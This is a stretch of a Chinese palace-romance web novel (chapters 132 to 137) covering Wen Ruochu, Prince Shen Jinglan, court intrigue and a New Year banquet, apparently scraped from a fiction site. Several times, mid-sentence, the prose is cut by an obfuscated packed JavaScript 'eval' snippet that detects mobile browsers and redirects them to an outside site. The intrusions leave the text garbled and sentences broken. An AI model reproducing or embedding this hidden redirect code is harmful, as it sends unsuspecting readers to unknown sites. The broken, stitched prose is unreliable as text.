“柳妃也真是的,魔障似的揪着老九不放,太医院都说六皇子的病是中风,她偏不信,还迁怒到了你身上……” 皇后愤愤地念叨好几句柳妃,有点为温若初愤愤抱不平的意思。 温若初回道。 “是儿臣身子太弱了,两位小公子闹腾,有些受不住,若是儿臣身子强健些,就不会有误会了,无妨的。” “你呀,就是太傻,瞧不出来柳妃是故意针你。” 温若初低眉浅笑不说话。 皇后又说,“话又说回来,你怀着身子,老九整天忙什么呢,就这么一个王妃都照顾不好?” 温若初微微叹了一口气,眉宇间爬上几分忧愁。 “荣王殿下为质多年,心里惦念雍国百姓,父皇和母后,得了机会解除质子身份回都城,一心想着为百姓做点事,帮父皇解忧,后宅难免疏忽些。” “方才父皇还和荣王殿下说呢,让他好好干,怕是以后更忙了。” 只有太子才有 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错开视线看向温若初,微微叹了一口气。 “你离家千里来到都城,人生地不熟的,也是不容易,瞧你瘦的……” 吩咐刁嬷嬷,“去小库房拿一万两银子,还有西域进贡来的绸缎,搬两匹出来,一会儿给老九媳妇带上。” 温若初:“……” 怎么和预想中的结果出入如此之大? 她就差把太子之为想取而代之写在脸上了。 都是柳妃和太子妃这两个搅屎棍添乱,皇后脑子本就简单,有这两个一搅和,激起皇后心底深处那点微不足道的,为人正妻的尊严。 皇后看模样应该是五十来岁,竟还是小女人的心思,**反应迟钝的也没谁了。 要不是为太子网罗的那些幕僚在背后出谋划策,加之老皇帝对太子的无限度偏爱,沈星驰的太子之位,还有这个皇后这个位置,可能早就易主了。 如此一来,倒是便宜了她。 可这份便宜,她真的不想捡啊。 温若初扯了扯嘴角,尽量让自己脸上的笑看起来发自内心。 “多谢皇后娘娘。” 第132章 不服从命令的下属,不合格 温若初走后,皇后拔下头上凤钗插到太子妃头上。 “本宫就星驰这么一个儿子,旁人都是外人,到最后都是要为太子出力的,你莫要吃味。” 凤钗沉甸甸的很有分量,太子妃抬手抚了抚凤钗,一扫心里不悦情绪,嘴角不觉勾起,声音都轻快几分。 “儿媳知道,谢母后,儿媳还以为母后……厌恶了儿媳。” 皇后嗔怪地横了一眼太子妃。 “你是本宫亲自挑选的儿媳,不管到什么时候,你都应该和本宫一条心,耍小性子对自己没好处。” “母后教训的是,只是母后出手就是一万两,陛下才给了一千两,是不是有点太抬举温若初了,儿媳可是听说这次大虞使团送亲过来,给温若初带来不少好东西,温若初和沈惊澜应该是不差银子。” 皇后嘴角自信勾起,像是想起了什么趣事。 “你不知道,寒妃宁折不弯,一桌子的珍馐,换着花样摆在她面前,她都能把自己饿死,沈惊澜性子随了寒妃,死脑筋,一条道走到黑,温若初的银子沈惊澜是不会用的。” “本宫赏赐温若初银子,一是为了打柳妃的脸,二是想拉拢沈惊澜和温若初。” 她之前试探过沈惊澜,让人带沈惊澜去寒妃住过的地方,沈惊澜什么表情都没有,甚至都没停下来祭奠一下。 沈惊澜对寒妃这个生母应该也是厌恶的,没有寒妃勾引太子,沈惊澜也能是个正八经皇子,也不至于招致陛下厌恶。 皇后自信,沈惊澜和温若初站队她和太子,才是最好的选择。 他们也别无选择,只能战队太子。 刁嬷嬷伺候在侧,眉目深锁,沉默了好长时间,犹豫半晌开口道。 “娘娘,方才荣王妃说……‘沈惊澜想替陛下分忧’,是不是动了不该有的心思?” 皇后和太子妃对视一眼,不以为意轻嗤一声。 “沈惊澜在大虞当了十几年的质子都当傻了,陛下不过是给了他一个礼部闲职,就想着为天下百姓做事,还真是不自量力。” “至于温若初,深受大虞女皇宠爱,从小养成的性子,说话口无遮拦一些罢了,还能真反了天不成?” “投靠太子麾下,对他们是最好的选择。” 另一边,温若初离了凤仪宫。 首次出师不利,带着皇后赏赐的一万两银子,十几匹锦缎,各种山珍名贵补品,走出內宫。 荣王府马车停在宫城门口,小辛坐在车外,手里捏着一只不知道从哪里抓来的鸟,远远瞧见她出来,放飞鸟,回头说了两句话,大概是马车里的人让他做了什么,小辛点了一下头,跳下马车,看向温若初这边。 温若初扫了一眼小辛一系列动作,唇角微微勾起——马车里有人等她。 是她执意去见皇后的,沈惊澜这会估计在气头上。 和送她出来的宫娥太监们道了谢,两个小太监单独叫来一辆马车,东西送去荣王府。 径直走到马车前,踩脚凳上车,掀开车帘钻进去。 马车内,身形挺直坐一人,眉目深敛,骨节分明的手指,有节奏地轻轻敲着扶手,一张堪比谪仙人的脸上掩饰不住的焦急和关切,身上散发着丝丝冷意。 温若初惊讶又惊喜。 “殿下没走?在等我?殿下真的是全天底下最好的夫君了,怎么就让我摊上了?” 沈惊澜:“……” 从温若初跟着皇后的宫女走后,沈惊澜的心一直都是悬着的。 马车内燃着一炷香,香未燃尽,还好,她回来了。 皇后不是良善之人,沈惊澜对温若初擅自决定独自前去凤仪宫,是介意的。 他当时已经明着阻止了,可她还是去了。 不服从命令的下属,不合格。 本想责备她两句的,可瞧见温若初见到他一脸欣喜的样子,责备的话竟一句也说不出来,只剩下愧疚和心疼。 沈惊澜嘴角翘起又拉下,又翘起,短暂对视的几息,反复了好几次。 最后脸上还是带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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抬木箱子的几个人,穿着大虞的衣裳,见温若初过来,像见到亲人似的。 “若初公主,总算是见到您了……” 领头的都快激动哭了,对温若初行了一个礼,回手指着两个箱子。 “凌大人差下官给公主送来的,公主和小公子能用得上的东西,来了好几次他们连门都不让进。” 第133章 外室 凌玄礼加封亲王,凌玄礼的亲信叫“凌大人”叫顺嘴了,凌玄礼那人不愿掺和朝堂党争,加封亲王本就源于一场乌龙,凌玄礼多少有些排斥,“凌大人”这个称呼就一直没纠正。 领头的逮住机会,和温若初抱怨好几句遭受荣王府闭门羹,委屈坏了。 来了好几次? 她怎么不知道? 沈惊澜冷待她的娘家人! 温若初回头瞅了一眼沈惊澜。 沈惊澜东张西望,眼珠子乱转,就是不和她对视。 温若初面上不显异色,嘴角噙着一丝歉意微笑,看向领头的。 “府上吃穿用度严了一些,不是府里采办一律不进门的,门房新来的,不清楚情况,麻烦你带本宫向凌大人解释两句,本宫身子不便,一直未得空和凌大人道谢,望凌大人莫要见怪。” 递给秋菊一个眼色,秋菊掏出半袋碎银子,递给领头的。 “诸位辛苦,是本宫的疏忽,这些碎银子拿去给兄弟们买茶水。” 领头的点头哈腰,“公主客气了,凌大人还说呢,让您有功夫去驿馆坐坐。” “好。” 温若初笑着答应。 凌玄礼差人送来的东西,温若初简单看了一眼,大多都是女子用的绵软衣料,一小部分孩子的衣裳玩具,还有一些产妇所食用的谷物。 娘家人和婆家人就是不一样,娘家人送的东西,大人用得多,孩子用上的少。 能看出来是用了心的,送来的枕头上的绣花都是金线暗绣,还有两只防止产妇受风头疼的抹额。 归了一下类,让府里下人抬去库房。 支走了伺候的下人,前厅只剩下温若初和沈惊澜二人。 什么都没说,气氛莫名紧张起来。 沈惊澜坐在太师椅里,搭在膝盖上的双手,指尖小幅度地扣弄衣料上的纹路,发出微不可查的“咯哒咯哒”声。 “凌玄礼送来的东西你要仔细整理,我送给你的直接推库房?” “凌大人送来的东西杂,你送来的都是一箱子一箱子整理完的,有什么可整理的?” 温若初有些莫名。 凌玄礼是大虞使团最高长官,是正使,一言一行代表大虞。 沈惊澜居然背着她,三番两次拒收大虞送来的东西? 不知道沈惊澜哪根神经搭错了,出于什么心里,温若初心里挺不舒服的,她还没问他呢,他先不乐意了。 她审视的目光盯着沈惊澜,又问。 “为什么背着我拒收凌大人送来的东西。” 沈惊澜从进门就坐在椅子里,身形挺得笔直,两片薄唇紧抿成一条直线,面色瞧着始终不大好。 “你们定过亲。” 明明是一句解释,却藏着几分委屈和赌气,好像今日做错事的是她。 听起来像是她对不住他似的。 倒打一耙的本事和谁学的? 温若初抬眼看向沈惊澜,心里堵得那口气更不顺了。 她耐着性子解释,“在禹郡的时候,我就和你解释过了,是一场误会,圣人赐婚,我和凌大人都是自愿的。” 沈惊澜听到温若初解释的同时,把她和凌玄礼放在一起,貌似还带着几分维护凌玄礼的意思,脸色更不好了。 “要不是我折返上京,你和凌玄礼已经成亲了。” “我为什么和凌大人成亲?” 温若初觉得沈惊澜好像没听懂她的话,她气不打一处来,站起身,疾步走到沈惊澜面前,挺了挺小腹。 “还不是因为他们,你干的好事!” 沈惊澜下意识抬手轻轻抚了抚她的小腹,低着头,瓮声瓮气道。 “我去找你的时候,你和凌玄礼在一起喝酒,你醉酒忘事。” 温若初:“……” 好样的,上升到人身攻击了。 她醉酒,仅限于确定周围环境绝对安全才醉酒,和凌玄礼一起吃酒的时候,在军营,她心里有数,掌握着分寸呢。 要不是沈惊澜一走了之,拿她当陌生人,她心里不痛快,也不至于去找凌玄礼吃酒。 她是有错,可错又不全在她身上。 她就不懂了,她和凌玄礼之间什么事都没有,沈惊澜吃的哪门子歪醋? 沈惊澜和凌玄礼不是很好的朋友? 沈惊澜为何处处针对凌玄礼? “你什么意思?不会以为那天你若是没回去,肚子里的孩子就姓凌了?” 沈惊澜收回手,避开温若初视线。 “我没有。” “你就是!” 温若初算是看出来了,沈惊澜今天就是纯纯的和她找不痛快。 她翻了一个大白眼,坐回软椅,顺着沈惊澜的方才话茬,拉着长调阴阳怪气。 “也对,我和凌玄礼大婚在即,你把我掳走,若是这么算,那你最多算……” 温若初歪着脑袋想了想,瞪着一双澄澈明亮的眼睛看向沈惊澜。 “……外室!” “你!” 沈惊澜气结,放在膝盖上的手紧紧攥着拳头。 沈惊澜脸色一阵红一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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大虞使团到达都城,追风竟然没传消息回来,一度使他陷入被动局面。 眼下,凌玄礼都已经待在都城多日,追风却迟迟未折返,音讯全无。 天机阁规矩,三个月没有消息传回来,要么叛变,要么死亡。 算算日子,追风最后出现地点是禹郡。 禹郡是雍国和大虞签订和平条约,沈飞白表示诚意送给大虞的边境三城之一,后来大虞女皇又把边境三城送给温若初。 大虞使团能来,代表他的信已经送到…… 沈惊澜眸色顿了顿,追风极有可能是在折返都城的途中出的事。 他锐利眸子看向范天恩。 “加派人手,去禹郡找。” 第134章 我想和你一起 范天恩点头应是,没急着走。 想起小辛和他说的,王爷和王妃吵架了,原来是不信的,可进来瞧着王爷的样子,虽然没什么表情,但说话间一脸荫翳。 这种表情他只在王爷脸上见过一次,得知温若初和凌玄礼婚讯那会,他跟着王爷前往上京,一路上王爷就是这种表情。 当时他们日夜兼程,骑快马走了三日,王爷水米未进,他膀大腰圆路上吃了十几张大饼充饥,也不知道王爷那个时候是怎么挺过来的。 成功掳走温若初之后,王爷也是病了两日。 明日王爷就要去礼部上值了,老皇帝在一边看着,可容不得生病。 范天恩犹豫道。 “呃……属下有几句话不知当讲不当讲。” “那别讲了。” 沈惊澜心情不大好,没兴致和范天恩打哑谜。 范天恩:“……” 走到门口,范天恩憋得实在难受,转头又走回沈惊澜面前。 “夫妻在一起时间长了难免生腻,互相看不惯对方,属下在家待时间长了,内人对属下各种嫌弃,也是横挑鼻子竖挑眼的……” 范天恩挠了挠头,憨厚地呵呵一笑,话锋一转,“……可属下三五个月离家回府,内人小绵羊似的,对属下千依百顺的。” 伸出左右手食指贴在一起,比划着分开。 “适当分开,距离产生美。” 这番好意劝解的话,沈惊澜似乎不大爱听,眉头蹙得更深了。 “她没嫌弃本王。” “属下的意思是……” “出去!” “是。” 范天恩本想多宽慰沈惊澜几句,那曾想王爷一句也听不见去,好像还在气头上。 不好再去触霉头。 等回头和古叔说一声,让古叔这两日多注意王爷身子。 范天恩走后,沈惊澜琢磨一会追风,注意力不受控制地跑到温若初身上。 踱步到窗前,天空零星飘起了雪花,他看着落在院子中的薄雪,若有所思,自言自语。 “距离产生美……距离产生美。” 温若初午膳是在房间用的,晚膳也是在房间用的,直到傍晚,各个房间燃起蜡烛,都没见沈惊澜身影。 和秋菊月儿玩了一会投壶,带输赢银子的,两个小鬟输了银子不和她玩了。 怪不得**上瘾,那种银子不断走进腰包的过程,的确很上瘾。 作为补偿,送给两个小丫鬟一人一只金钗,可比他们输的银子值钱多了。 两个小丫鬟高兴地走了。 温若初大脑兴奋看了几页话本子,蜡烛燃烧过半,依旧不见沈惊澜。 晌午冯文传话,“姑爷说不用等他。” 她也的确没等,关上门带着秋菊和月儿玩投壶。 温若初靠坐床榻里,大腿上放着话本子,泛起了困意,打了一个哈欠,没过多久便沉沉睡了过去。 不知过了多长时间,侧脸落下一点凉意,温若初迷迷糊糊睁开眼睛。 应该是没睡多长时间,蜡烛未燃烧完。面前映出沈惊澜那张放大的俊脸。 沈惊澜的胳膊肘撑在她身侧,深邃的眸子温柔而缱绻地注视着她,见她转醒,嘴角微微勾了勾。 “弄醒你了。” “不距离产生美了?”温若初迷迷糊糊调侃。 “我没有。” 沈惊澜眼神闪过一丝诧异,好像在说“你怎么知道”,想都没想地否认。 明日去礼部当值,提前去看看,他整个下午都在礼部,礼部廨房后院有内宅,可供官员休息。 老皇帝的意思,让礼部尚书张炳军给沈惊澜安排一个七品主簿职位。 礼部尚书张炳军是沈惊澜早就安**去的人,无人的时候对沈惊澜毕恭毕敬,早早给沈惊澜准备的住处。 张炳军给沈惊澜介绍礼部情况,又带着沈惊澜熟识礼部其他官员,不知不觉天色就晚了,晚饭又喝了些酒,想着在廨房内宅将就一夜。 夜深人静,他躺在礼部后宅的床榻里,身边没有熟悉的味道和呼吸声,竟是无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温若初到礼部的时候刚好晌午,由衙役引着穿过礼部大堂,到后院官员们处理日常公务的二堂,二堂根据等级和职务又分出数十个房间。 沈惊澜是七品主簿,处理公务的房间临近西南角。 衙役到一房间门口停下,朝里面打了一声招呼,对温若初恭敬道。 “王妃娘娘,王爷请您进去。” 秋菊上前掀开门帘,温若初抬步走进房间。 “沈惊澜,我给你投食来了。” 她还以为这个时辰旁人都出去用饭了,应该只剩下沈惊澜,说话没轻没重,日常了些,走进房间才注意到凌玄礼也在。 凌玄礼手里端着茶盏,和温若初视线相撞,有意外,也有惊喜。 “若初……公主。” 异国他乡见到相熟之人,心里自然是欢喜的,更何况凌玄礼还曾帮过她。 凌玄礼不远千里送来圣人封她公主的旨意,还带来了那么多东西。 不冲别的,就冲千里送亲的这份情谊,温若初也是感激凌玄礼的。 温若初对凌玄礼笑着点点头。 “凌大人也在,是不是打扰你们了?” “无妨。” 凌玄礼脸上也是带着笑意的,视线掠过温若初明显隆起的小腹,在旁人难以察觉到的地方,眼底闪过一丝失落,很快恢复如常。 心底莫名涌起一股酸涩,他没想到在这里能见到温若初,才几日不见,肚子都这么大了。 年后他们折返大虞,官文上需要加盖礼部官印,过了年十五之后礼部才开印,怕时间太赶来不及,凌玄礼提前和礼部约好,今日来加盖官印。 加盖官印之后,要到主簿这里做登记。 没想到在这里做主簿的居然是沈惊澜。拉着他坐下,说得了一罐好茶叶,他坐在这里喝了一肚子茶水,有一搭没一搭扯东扯西,就是不登记。 沈惊澜一身绿色官袍包裹修长身躯,佩戴银带,见温若初进来,嘴角翘起一抹若有似无笑意,微微挑眉,睃了一眼凌玄礼。 起身过来搀扶温若初,让她坐到椅子上。 “小初,你前两日还说,这两个小家伙闹腾得厉害,身子疲乏,又天冷路滑的,你在府里待着就好,不用心疼本王,特意跑一趟给本王送饭。” 温若初:“……” 她诧异抬头看向沈惊澜。 昨晚哪只小狗说礼部饭菜不好吃,还说让她来礼部接他。 当着凌玄礼的面不便戳穿。 温若初僵着嘴角,点点笑笑,顺着沈惊澜的话茬。 “妾身闲来无事,王爷第一天当值,放心不下过来看看。” 月儿把食盒放到旁边的桌子上,四道小菜摆到桌子上。 两只碗,两双筷子。 三个人。 除了沈惊澜不尴尬,剩下的人都挺尴尬的。 沈惊澜瞅了一眼桌子上饭菜,双手托着一双筷子,看向凌玄礼。 “守正若是不介意……坐下来用午膳,本王和小初是夫妻,可以共用一副碗筷。” 凌玄礼:“……” 温若初:“……” 她若是再猜不透沈惊澜幼稚伎俩,她就是傻子。 之前怎么没发现,沈惊澜的心眼这么小,人家凌玄礼招他惹他了? 温若初余光瞪了沈惊澜一眼,偏头对凌玄礼歉意笑道。 “不知凌大人也在,没有准备,莫要见怪,凌大人差人送来的东西,本宫已经收到了,都是能用得上的物件,凌大人有心了。” 温若初坐在沈惊澜腾出来的椅子里,和凌玄礼的位置隔着一个一手臂长宽小方桌。 “无妨。” 凌玄礼手中茶盏放到两人之间的方桌上。 “问了生育过子女的妇人,才准备的那些物件,之前还担心公主看不上眼,公主能用上,本王也算是送对了。” 他站起身,“既然驸马和公主要用午膳,那本王就不叨扰了,明日派人过来,麻烦驸马高抬贵手莫要为难。” 沈惊澜见人要走,放下筷子,走到温若初身边,宣誓**似的揽过温若初肩膀,看向凌玄礼。 “守正是小初的娘家人,理应热情招待,今日相见一时话多些,耽搁了正事,明日派人过来,本王一定第一个办守正的事。” “再会。”凌玄礼行了一个抱拳礼,转身走了。 温若初坐在饭桌前,有一夹没一夹地吃着精心给沈惊澜准备的饭菜,有点胃口欠缺。 方才凌玄礼走的时候,身形有些落寞,好像很失落的样子。 她抬眼看向沈惊澜。 “你和凌大人到底怎么回事?” 沈惊澜干完冒尖一碗米饭,放下筷子,抬眼看向温若初。 “不是我和凌玄礼怎么回事。” “那是什么?” 沈惊澜沉默一瞬,蹙了蹙眉心,好像很气愤的样子喘了一口粗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485832|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 “是凌玄礼对你。” 温若初急脾气上来,和沈惊澜解释无数次了,她和凌玄礼没关系,之前圣人赐婚,完全就是一场乌龙,沈惊澜死咬着这茬不放,忒没意思。 她重重放下筷子,刚要发作,沈惊澜开口道。 “凌玄礼对你动了龌龊心思。” 温若初愣在原地,如一道惊雷劈在她头上。 凌玄礼那样一个正得发邪的人,居然会对她…… 实在是太吓人了! 温若初实在不敢相信,总觉得是沈惊澜太敏感了。 “凌大人和你说的?” 沈惊澜耷拉着脸,声音低沉。 “错不了。” 沉默半晌接着说道,“我比不上守正,又让你跟我过苦日子,我故意拦下守正送给你的那些东西,我是怕……” 沈惊澜声音倏然低了下来,有些茫然无措地低下头。 “……怕你和守正回大虞。” 温若初怀了他的孩子,可沈惊澜心里清楚,温若初是随性之人,性子洒脱,什么都栓不住她,孩子不能,他更不能。 沈惊澜手里捏着筷子,不觉紧张用力,指腹泛白。 切换成天机阁阁主身份的时候气场全开,周围三丈远的活物都不敢靠近。 眼下低着头坐在温若初对面,像是做了错事等待批评的孩子,那么高的个子,看起来弱小又无助。 温若初恍如看到幼年沈惊澜,缩在“若初苑”的身影,那样一个小不点,时不时面对老皇帝明里暗里伸过去的“**”,幸亏靠近冷宫,那里有人隔着高高院墙护着他。 忽然有点沈惊澜对凌玄礼的敌意来源,不就是缺乏安全感。 温若初心底怨气逐渐消散,对沈惊澜的火气发不出来。 沈惊澜若是隔三岔五起幺蛾子,她自然是要走的,沈惊澜感情太过敏感,这种话绝对不能说。 真有那么一天,她就走不了了。 温若初起身坐到沈惊澜身边空位,抬手揉了揉他的脸,扯了扯嘴角。 “放心啊,我和凌玄礼不是一种人,一天天拉着脸,只知道断案子,无趣得很,凌玄礼哪有你好啊。” “你……你真是这么想的?” 沈惊澜眼睛都亮了,抬手把她的手握在掌心里,不敢相信似的,定定地看着她,声音都不觉颤抖几分。 顿了顿,继续追问,“我哪里比凌玄礼好?” 第136章 猝不及防的表白 “你长得好看啊。” 温若初端详沈惊澜的脸,这张脸可是被女皇看中过。 女皇年过六旬,什么样的男人没见过,足以见沈惊澜的这幅皮囊有多惊艳。 她第一次见沈惊澜的时候,就是这么认为的。 沈惊澜似乎并不买账,不喜欢这个理由,眉头微微蹙了蹙。 “还有呢?” “有钱。”天机阁一条情报价值千金,这么多年的积累,沈惊澜手里的财富足以比肩雍国国库。 “还有呢?” “高。” 沈惊澜:“……” 沈惊澜眉头始终没有舒展,似乎对这几个肤浅理由都不满意。 温若初笑了笑,实际上沈惊澜除了长得好看,她也不知道沈惊澜身上还有什么优点。 高富帅就行了呗,还要什么自行车。 她就是这么肤浅的人。 托着沈惊澜的脸,让沈惊澜抬头看她。 “这些都不重要,重要的是我喜欢你就行了呗。” 表白来得猝不及防又直白,沈惊澜愣了愣,耳尖微红,呼吸都不觉轻了些。 “你……你喜欢我?” 温若初回答得坦然,“不然呢?我不喜欢你,怎么会和你睡觉?” 沈惊澜唇角翘起,接着追问,“那如果有一天我老了,动不了呢?” 温若初耐心有限,安抚沈惊澜半天,这小子不知收敛,蹬鼻子上脸。 老了就刨个坑,立个牌,把自己埋了。 不忍心伤害沈惊澜脆弱心灵,耗尽最后一分耐心道。 “不会那么容易老的,”捏了捏沈惊澜胳膊上紧实有力肌肉,“就你这身子骨,至少还能还活五十年。” 话音落,似乎戳中了什么心事,沈惊澜发亮的眸子倏然暗淡几分,可惜温若初耐心耗尽,看着别处,没注意到沈惊澜眼底情绪变化。 五十年,于他来说是个奢望。 沈惊澜微不可查叹了一口气,看向温若初的目光中多了几分不舍。 他站起身,“我带你去我房间,你先歇息一会,等下值后,我叫你。” 温若初说行,出来有一阵子,正好有些累了。 之前商量好一起进宫去老皇帝面前刷存在感的,沈惊澜下值,两个一起去的皇宫。 不管老皇帝对沈惊澜的态度如何,面子功夫必须做到位。 今天不是初一,除了东宫太子沈星驰,没有传召,其余皇子们不能入宫。 温若初和沈惊澜来得张扬,身后跟的是大虞公主銮驾,鸣金开道,一路从礼部走到內宫门口。 温若初和沈惊澜在內宫门口站定,老山参托一位王姓太监呈递御前。 这位王公公也是沈惊澜提前安**去的。 皇后和柳妃斗法多年,皇宫里不是皇后就是柳妃的人,东西交出去,可能老皇帝都不知道,运气不好,说不定还会说他两句坏话。 沈惊澜在大虞决定解除质子身份回雍国的时候,就把人安**雍国皇宫了,方便为自己做事。 半炷香之后,王公公出来。 “荣王殿下,王妃娘娘,东西已呈递御前,陛下夸赞王爷和娘娘孝心有佳,让您二位先回去。” “有劳公公了。” 温若初和沈惊澜在宫门口齐齐跪地磕了一个头才走。 老皇帝耳目众多,没一会,温若初和沈惊澜在宫门口磕头,彰显皇权和父权至上的一幕传到老皇帝耳朵里。 即受用,心里又有些不舒坦。 雍国习俗,小辈为表孝心给长辈送礼,长辈必须还礼,以彰显对小辈的关爱。 大张旗鼓的,生怕旁人不知道,吃了亏。 他们倒是会做人。 送山参的为什么是老九? 为什么不能是星驰? 老皇帝坐在饭桌前,脸色阴沉,一大桌子的山珍海味没了胃口,沉默了好半天,吩咐随侍左右的太监总管李公公。 “随便赏赐两样过去吧。” 李公公点头道:“是。” 温若初和沈惊澜回府后,不多时,老皇帝赏赐下来了,是几道样式精美的小菜。 不是什么稀罕玩意。 赏赐什么不重要,重要的是赏赐了,有人瞧见了。 温若初和沈惊澜已用过晚膳,赏赐下来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489022|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小菜赏给了秋菊他们。 腊月二十八,都城大街小巷挂起红灯笼,有钱人家还要给大门刷一遍朱漆,满满的年味。 时隔十三年沈惊澜回都城过年,也是两人在一起的第一个年,荣王府早早挂起红灯笼,烟花爆竹也张罗了一些。 依惯例,皇子们除夕夜要进宫参加除夕宴,老皇帝,宫妃,亲近宗亲都要到场,一起拜祖宗牌位,彰显皇室阖家团圆的祥和胜景。 不同以往,以凌玄礼为首的大虞使团也在受邀之列,意在表达雍国大虞亲如一家,两国友好。 温若初和沈惊澜除夕夜出去吃,可荣王府还有旁人,他们也得过年。 连府兵带下人三百多号人,温若初让厨房备了两百只鸡,两头猪,五只羊。牛是农耕工具,雍国律法规定,牛不得随意宰杀,没备牛肉。 就在大家欢欢喜喜准备过年的时候,突然传来丧信,沈飞白薨逝。 老皇帝没下令取消除夕宴,差人去沈飞白府上象征性地问候两句。 除夕这日,温若初要和沈惊澜进宫,陪老皇帝演“阖家团圆”,月儿找出早准备出来除夕宴穿的衣裳,粉色缎面绣着紫花的袄裙,颜色鲜亮,很应景。 温若初坐在铜镜前,瞅了一眼袄裙。 “换一件素净的吧。” 月儿犹豫,“这件衣裳是专门为除夕宴赶制,不穿出去有点可惜,奴婢听说太子妃的除夕宴的袄裙是云锦的,四皇子妃的袄裙是赤绫鹤纹的,还有七皇子妃,八皇子妃衣裳都是鲜亮颜色,公主穿太素净要被旁人比下去。” “换一件。”温若初执意道。 月儿提到的这些人都是**。 老皇帝到底是刚刚**儿子,万事还是谨慎小心些。 换了一件天青色银线暗绣的袄裙,既不张扬也不沉闷。 六皇子沈飞白是柳妃的命根子,命根子没了,又赶上除夕宴,看到一大片大红大绿的,柳妃指不定要怎么闹呢。 柳妃一直怀疑沈飞白的病和沈惊澜有关。 她可不想沾一身腥。 在一边等着看好戏就好。 第137章 不好惹 长乐宫 薨了一位亲王,除夕宴没有舞乐,一切从简,老皇帝还是给了柳家一些体面。 没有歌舞乐曲,长乐宫内气氛却欢快,宗亲们推杯换盏,皇子公主宫妃们谈笑风生。 老皇帝端**之上,凌玄礼被特许坐在了老皇帝下手位。 老皇帝端起酒杯,朝凌玄礼道。 “大虞使臣能在雍国同庆新年,是缘分也是造化,这杯酒敬远在千里之外的大虞皇帝,望凌大人返回上京之后,向大虞皇帝转达朕的崇敬之意。” 凌玄礼起身客气道:“下官一定转达,我大虞乃礼仪之邦,向来是别人敬我一分,我还三分。” 两人一起朝大虞上京方向举了举杯。 老皇帝叹了一口气,犹豫半晌说道。 “凌大人小住都城,相信坊间有些关于皇家传闻……” 凌玄礼听到的传闻可太多了,尤其是关于太子沈星驰的,父子两个都是德行悖逆昏庸无能之辈,传出来的宫闱秘辛有悖人伦。 他听了都觉污了耳朵。 要不是答应年后折返,有公务在身,又想看看温若初在这里适不适应。 他早离开这片腌臜地。 凌玄礼性子直,却深知自己一言一行代表大虞。 清楚老皇帝的难堪,是想让他闭嘴,维护雍国皇室名声。实际上这边乌七八糟的事,他也懒得学舌。 凌玄礼把老皇帝的话接了过去。 “于公,大虞和雍国签订友好合约,是友好同盟国,于公,我大虞若初公主已嫁贵国荣王殿下为妻,是为一家,另外守正和荣王殿下若初公主也有些私交,说句托大的话,也算是一家了,家里的事,守正万不会外扬。” 老皇帝满意地笑了两声,抬眼看向沈惊澜,叫沈惊澜。 “老九。” 众人私语吃酒声暂停,纷纷看向位置相对靠后的沈惊澜。 沈惊澜站起身:“父皇。” “朕听张炳军说你在礼部做得不错,朕心甚慰。” “是张大人抬爱了,能尽些绵薄之力,是儿臣的荣幸。” “之前给你一个七品主簿职位,朕也是为考验你心性,到底是和亲王身份不符,礼部侍郎还有个缺,年后过了十五你就去顶上吧。” “是。” 礼部侍郎正四品官职,从七品到正四品不到一个月时间,看着像是飞速提升,可还是一个闲职。 说白了就是拿沈惊澜卖了大虞一个面子。 包括沈惊澜自己,在场众人谁都能看出来这里面的门道,感叹到底是亲儿子血浓于水,却也不以为意。 沈惊澜的职位飞升,并未引起太大水花。 温若初起身走到沈惊澜身边,对老皇帝敛衽行礼。 “请父皇饶恕儿臣不孝之罪。” 老皇帝微讶,瞄了一眼凌玄礼,看向温若初,一脸慈爱道。 “傻孩子,有话好好说,大过年的,你何罪之有。” 沈惊澜眉头蹙起,眼底闪过诧异,摇摇头,示意她不要多生事端。 温若初有自己的考量。 老皇帝对沈惊澜和她,在有凌玄礼在场,和没有凌玄礼在场是两种截然不同的态度。 老皇帝不是畏惧凌玄礼,而是畏惧凌玄礼代表的大虞。 老皇帝怕不是忘记了,她是大虞公主,也是大虞特使,在官职上比凌玄礼还要高半头。 她是嫁了沈惊澜为妻不假,可她有封地,有随时返回大虞的权利,更可以和大虞女皇直接书信往来。 她是嫁到雍国,又不是卖到雍国。 她得让老皇帝重新认识一下她。 温若初对朝沈惊澜眨了眨眼睛,让沈惊澜别说话,影响她发挥。 她愁眉不展地看向老皇帝。 “儿臣听内务处的公公说,上次儿臣孝敬的两株雪莲用完了,想着再向儿臣的外祖姑母讨要两只孝敬给父皇。” “七日前给外祖姑母捎去书信,外祖姑母也回信答应帮儿臣 